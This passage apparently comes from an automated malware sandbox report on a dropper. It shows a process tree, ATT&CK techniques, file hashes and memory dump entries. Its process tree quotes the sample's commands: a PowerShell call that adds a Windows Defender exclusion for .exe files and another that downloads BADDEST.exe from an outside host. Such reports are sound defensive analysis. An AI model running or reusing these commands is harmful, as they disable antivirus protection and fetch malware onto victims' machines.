    - Suspicious use of WriteProcessMemory
    PID:1228
  - - C:\Windows\system32\cmd.exe
      cmd /c jay.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1484
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Set-MpPreference -ExclusionExtension ".exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1116
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Invoke-WebRequest -uri https://graydonscrossing.com/VEE/BADDEST.exe -o BADDEST.exe"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1412
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\." /SETINTEGRITYLEVEL (CI)(OI)LOW
    3⤵
    - Modifies file permissions
    PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files"
    3⤵
    PID:580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

jay.bat

Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\jay.bat
Size 200B
SHA256 084c4e1a468c9cd2e47b103c2152ad96bebd48b5a20633c84ea8f468e3a4b670
MD5 dd66cdee382a481a924c049ba8107208
SHA1 3d1ac81f9201f006f8c3c3992f62059271850a5a
SHA512 49299f3fdfa769eeeee10244893c301391fd729a5edf89691f2a4bb82b93c625c6d53cd78443bf7b0f2ef058ec242f4153c2243618f5fd60fdc8156e5fbe35e3
MD5 SHA1 SHA512

Submit Download

files.cab

Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files.cab
Size 151KB
SHA256 ea5373be802f70e431d3718f293c16ff05c1f8683f6c7621a20a3b7987474bc9
MD5 d76ba84619cf663cb5e55d0045a3dd71
SHA1 28cc8008fe945122f25a245aab6e759e4d31f2e6
SHA512 985991def597d4079c6eefd6bb6d7e1e1d6bd359d129fece507905efcff628831efc05637330a84f02e6905ba2abf687ca789656fd85f3781af06970a1e2736d
SSDEEP 3072:rvGygixUiq1o5GWp/icKAArDZz4/9GhbkrNEU1Jq:tHLpKy/90QEz
MD5 SHA1 SHA512 SSDEEP

Submit Download

BADDEST.exe

Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
Size 151KB
SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
MD5 061715d983951d69648b1e79748e20da
SHA1 164ea60f4ac8358c419db3f969a4ff9884e7de5d
SHA512 3b4f6b0da7696acdf0ec526419fed0ce6429840cbf88ddb271e6bcd312121ceae1faafbae39f617d1744f240ad2b5d28271d84edf4e2f06c73c3c947ad6cb2c2
SSDEEP 3072:1vGygixsiq1o5GWp1icKAArDZz4N9GhbkrNEk1Jq:XvLp0yN90QED
MD5 SHA1 SHA512 SSDEEP

Submit Download

BADDEST.exe

Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
Size 151KB
SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
MD5 061715d983951d69648b1e79748e20da
SHA1 164ea60f4ac8358c419db3f969a4ff9884e7de5d
SHA512 3b4f6b0da7696acdf0ec526419fed0ce6429840cbf88ddb271e6bcd312121ceae1faafbae39f617d1744f240ad2b5d28271d84edf4e2f06c73c3c947ad6cb2c2
SSDEEP 3072:1vGygixsiq1o5GWp1icKAArDZz4N9GhbkrNEk1Jq:XvLp0yN90QED
MD5 SHA1 SHA512 SSDEEP

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\msiwrapper.ini
Size 1KB
SHA256 8cb19159d8d634565348f4df068fff544763cf4bc18037478f24c4e3a913626a
MD5 94febab22d05490e52504d347257951a
SHA1 d2a726e1fe4c6c4424424cd7b7753a2f1e26fc09
SHA512 2015e9308c1fd20b159a89fea08fad0be240be987599274e417abc0bc59d64d9cc8729a5f625dd401ac0d94d31ad72407ffa5cdafd26194c1bf0a6d9a1e98793
MD5 SHA1 SHA512

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\msiwrapper.ini
Size 1KB
SHA256 76b7667896e3890a012895d43e1ed07191d6f9859e8befab9d7ed3d16024fffd
MD5 3c44cb09a0caddbd1a1ea2d3011b5e16
SHA1 4bbc22989a703a8ff2c50fb1f840fb0e1ded9474
SHA512 e7e5acf92fdd68cd9675eb98835aefda96c88a4d27a440e924499c86ba4a20f5b72f1d700a6a9598639afa71c77d26a70f39cfc57fa81402a34a82292c0dbb34
MD5 SHA1 SHA512

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 c1d781db3f4a550a71e861b762b1c2ab86e513e13840933bf99c764aa960f67a
MD5 b7b4522e5aeaf90b7498a3e91ca0ce2c
SHA1 73ced295d87b501d57f23639f2a7aeea72b79735
SHA512 da46d651f1e71d0d6aa0b43821ebab89cb058f26238a96b2525d564759c96845a158b49b8c2bfda4768104fb4ce341f1e27d14d0588a48321b4c12e3bb5512e9
SSDEEP 96:U3JWCDVHM8DnqvsqvJCwoiJ3JWCDVHM8DnqvsEHyqvJCworc16qjQHdoK7NyXlUP:OJhhnUoidJhhnAHnorc1rWoK7Nyvi
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIDCE9.tmp

Path C:\Windows\Installer\MSIDCE9.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIF0D8.tmp

Path C:\Windows\Installer\MSIF0D8.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIF213.tmp

Path C:\Windows\Installer\MSIF213.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

BADDEST.exe

Path \Users\Admin\AppData\Local\Temp\MW-ca378cd6-80ea-4da1-8f79-7bd2855ef1fb\files\BADDEST.exe
Size 151KB
SHA256 16810a489310baaf2af8502734bd0a82128719ac234153666ac453bca42f141b
MD5 061715d983951d69648b1e79748e20da
SHA1 164ea60f4ac8358c419db3f969a4ff9884e7de5d
SHA512 3b4f6b0da7696acdf0ec526419fed0ce6429840cbf88ddb271e6bcd312121ceae1faafbae39f617d1744f240ad2b5d28271d84edf4e2f06c73c3c947ad6cb2c2
SSDEEP 3072:1vGygixsiq1o5GWp1icKAArDZz4N9GhbkrNEk1Jq:XvLp0yN90QED
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIDCE9.tmp

Path \Windows\Installer\MSIDCE9.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIF0D8.tmp

Path \Windows\Installer\MSIF0D8.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

MSIF213.tmp

Path \Windows\Installer\MSIF213.tmp
Size 208KB
SHA256 d01af2b8c692dffb04a5a04e3ccd0d0a3b2c67c8fc45a4b68c0a065b4e64cc3d
MD5 4caaa03e0b59ca60a3d34674b732b702
SHA1 ee80c8f4684055ac8960b9720fb108be07e1d10c
SHA512 25888848871286bdd1f9c43a0fba35640edb5bafbe0c6aa2f9708a070ea4e5b16745b7c4f744ae4f5643f75ef47f196d430bf70921ed27715f712825ec590a34
SSDEEP 3072:AspAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLw2loHUvU4yGxr53qM2a8:2tOdiRQYpgjpjew5LLyGx1qo8
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/860-60-0x000007FEFBF51000-0x000007FEFBF53000-memory.dmp

Download

memory/1116-82-0x0000000002880000-0x0000000002882000-memory.dmp

Download

memory/1116-86-0x000000000288B000-0x00000000028AA000-memory.dmp

Download

memory/1116-85-0x000000001B710000-0x000000001BA0F000-memory.dmp

Download

memory/1116-84-0x0000000002884000-0x0000000002887000-memory.dmp

Download

memory/1116-81-0x000007FEF3A10000-0x000007FEF456D000-memory.dmp

Download

memory/1116-83-0x0000000002882000-0x0000000002884000-memory.dmp

Download

memory/1412-95-0x00000000023AB000-0x00000000023CA000-memory.dmp

Download

memory/1412-93-0x00000000023A4000-0x00000000023A7000-memory.dmp

Download

memory/1412-94-0x000000001B760000-0x000000001BA5F000-memory.dmp

Download

memory/1412-90-0x000007FEF3070000-0x000007FEF3BCD000-memory.dmp

Download

memory/1412-91-0x00000000023A0000-0x00000000023A2000-memory.dmp

Download

memory/1412-92-0x00000000023A2000-0x00000000023A4000-memory.dmp

Download

memory/1956-54-0x0000000072A41000-0x0000000072A44000-memory.dmp

Download

memory/1956-62-0x00000000004F7000-0x00000000004FB000-memory.dmp

Download

memory/1956-61-0x00000000004F7000-0x00000000004FB000-memory.dmp

Download

memory/1956-58-0x00000000714AD000-0x00000000714B8000-memory.dmp

Download

memory/1956-57-0x0000000075B41000-0x0000000075B43000-memory.dmp

Download

memory/1956-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Download

memory/1956-55-0x00000000704C1000-0x00000000704C3000-memory.dmp

Download

memory/1956-104-0x000000005FFF0000-0x0000000060000000-memory.dmp

Download